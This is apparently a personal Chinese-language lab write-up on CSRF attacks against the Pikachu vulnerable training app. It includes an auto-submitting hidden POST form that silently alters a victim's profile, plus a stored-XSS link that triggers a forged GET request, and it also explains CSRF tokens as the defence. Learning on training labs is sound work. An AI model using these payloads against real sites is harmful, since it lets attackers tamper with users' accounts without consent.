csrf学习记录

pikachu

csrf get

来到pikachu页面

这是虚拟机

根据提示vince/123456登陆，看到修改信息

随便填写，bp抓包

因为试get请求，信息都在url里面，可以尝试修改url参数

copy url后，发送给本机打开

这是本机

本机信息情况

get 类型的csrf完成

csrf post

前面的不赘述

直接抓包，看到修改信息的请求在请求体里，是post请求

这里不在请求头就无法使用第一种办法了，攻击者要自己构造页面，诱导用户点击

<!DOCTYPE html>
<html>
<head lang="en">
	<title>csrf_post</title>
	<script>
    window.onload = function() {
    document.getElementById("postsubmit").click();
  }
 </script>
</head>
<body>
       <form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"  method="POST">
       	 <input type="text" name="sex" value="1"><br>
       	 <input type="hidden" name="phonenum" value="hacker"><br>
       	 <input type="hidden" name="add" value="china"><br>
       	 <input type="hidden" name="email" value="hacker"><br>
       	 <input id="postsubmit" type="submit" name="submit" value="submit" />
       </form>
</body>

</html>

发送用户，这是用户电脑

我这里是firefox浏览器打开

打开后，可以看到信息被修改

完成csrf post

csrf token

CSRF的主要问题是敏感操作的链接容易被伪造每次请求，都增加一个随机码（需要够随机，不容易伪造），后台每次对随机码进行验证网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新，后台发送过来的token都不一样，起到了防止伪造的作用。

可以看到每一次都不一样，从根本上杜绝了csrf

csrf配合xss

利用存储型xss，修改个人信息，抓包

更改数据，copy url

http://192.168.0.109/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=666&phonenum=3&add=3&email=3&submit=submit

来到xss页面(存储型xss),随便输入111

构造payload:

<a href=http://192.168.0.109/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=hacker&phonenum=hacker&add=hacker&email=hacker&submit=submit>点一下试试？？</a>

黑客在该网站植入恶意代码，有一天，vince正常修改信息，看到下面有一个 ”点一下试试“

点击一下

xss配合csrf简单完成小实验，加油吧！！！